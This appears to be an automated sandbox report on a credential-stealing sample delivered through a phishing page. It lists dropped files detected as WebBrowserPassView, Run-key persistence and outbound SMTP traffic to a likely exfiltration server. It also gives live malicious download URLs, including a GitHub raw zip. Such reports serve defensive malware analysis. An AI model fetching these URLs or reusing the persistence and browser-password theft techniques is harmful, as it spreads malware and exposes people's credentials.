Conhost.exe (PID: 9552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 11188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 3748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 1244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 8620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 2992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 8480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 1220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 10444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 9372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Chrom.exe	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
C:\Users\user\Downloads\Chrom.exe	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000006B.00000000.2174276817.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000068.00000002.2549956688.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000002F.00000002.2585861110.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000044.00000002.2466846625.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000006C.00000002.2613059247.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000065.00000002.2606116653.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000069.00000000.2167577882.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000065.00000000.2165308142.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000046.00000002.2585932289.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000002D.00000002.2551764898.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000005B.00000002.2564816979.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000027.00000002.2558152686.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000045.00000000.2140761052.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000002E.00000000.2119851802.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000062.00000000.2162248898.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000045.00000002.2500268582.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000067.00000002.2626860695.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000002E.00000002.2533737416.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000006A.00000002.2602366163.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000066.00000000.2175232961.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000067.00000000.2164912041.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000083.00000002.2623943009.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000068.00000000.2166550837.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000064.00000002.2587572003.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000066.00000002.2588160235.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000002F.00000000.2119909848.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000058.00000002.2599316163.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000053.00000002.2580371925.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000069.00000002.3724861066.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000006B.00000002.2616430429.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000063.00000000.2162785797.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000063.00000002.3700096707.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000006C.00000000.2187300825.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000058.00000000.2149477169.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000053.00000000.2145941174.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000060.00000002.3769898751.000000000356F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000064.00000000.2165271808.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000030.00000000.2119994043.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000062.00000002.2625228135.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000044.00000000.2133602924.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000027.00000000.2115852858.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000046.00000000.2134107679.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000005B.00000000.2151019682.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000002D.00000000.2119958837.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000083.00000000.2190697668.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000006A.00000000.2167561689.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000030.00000002.2585719504.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000026.00000002.2573942891.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000060.00000002.3769898751.0000000003481000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Reversed order 24-25.exe PID: 8624	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 7736	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 8120	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 5004	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 8576	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 8016	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 5312	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 5956	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 7460	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 7668	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 8176	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 7676	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 8644	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 4820	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 1276	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: Chrom.exe PID: 404	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Click to see the 71 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe, ProcessId: 8624, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Application

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe, ProcessId: 8624, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Application

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 103.211.239.66, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe, Initiated: true, ProcessId: 8624, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49758

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Chrom.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\Downloads\Chrom.exe	ReversingLabs: Detection: 80%

Multi AV Scanner detection for submitted file

Source: Reversed order 24-25.pdf

ReversingLabs: Detection: 13%

Phishing

AI detected landing page (webpage, office document or email)

Source: https://www.woluntech.com/oders-pdf/

Joe Sandbox AI: Page contains button: 'DOWNLOAD' Source: '1.0.pages.csv'

Source: https://www.woluntech.com/oders-pdf/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://www.woluntech.com/oders-pdf/

HTTP Parser: <input type="password" .../> found

Source: https://www.woluntech.com/oders-pdf/

HTTP Parser: No <meta name="author".. found

Source: https://www.woluntech.com/oders-pdf/

HTTP Parser: No <meta name="copyright".. found

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:	Binary string: \obj\Debug\FoxmaiI.pdb source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe.12.dr
Source:	Binary string: c:\Projects\VS2005\WebBrowserPassView\Command-Line\WebBrowserPassView.pdb source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000002.2573942891.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000027.00000002.2558152686.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000027.00000000.2115852858.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002D.00000002.2551764898.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002D.00000000.2119958837.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002E.00000000.2119851802.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002E.00000002.2533737416.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002F.00000002.2585861110.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002F.00000000.2119909848.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000030.00000000.2119994043.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000030.00000002.2585719504.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000044.00000002.2466846625.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000044.00000000.2133602924.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000045.00000000.2140761052.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000045.00000002.2500268582.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000046.00000002.2585932289.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000046.00000000.2134107679.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000053.00000002.2580371925.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 000000
Source:	Binary string: \obj\Debug\FoxmaiI.pdb, source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe.12.dr

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe

Directory queried: number of queries: 2002

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File opened: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\windown.bat
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File opened: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File opened: C:\Users\user\AppData\Local

Source: global traffic

TCP traffic: 192.168.2.4:49758 -> 103.211.239.66:587

Source: global traffic

TCP traffic: 192.168.2.4:63677 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: github.com to https://raw.githubusercontent.com/donmodely2k/poczta.github.io/refs/heads/main/reversed%20order%2024-25.zip

Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 148.153.240.68 148.153.240.68

Source: global traffic

TCP traffic: 192.168.2.4:49758 -> 103.211.239.66:587

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.19
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.19
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /donmodely2k/poczta.github.io/raw/refs/heads/main/Reversed%20order%2024-25.zip HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
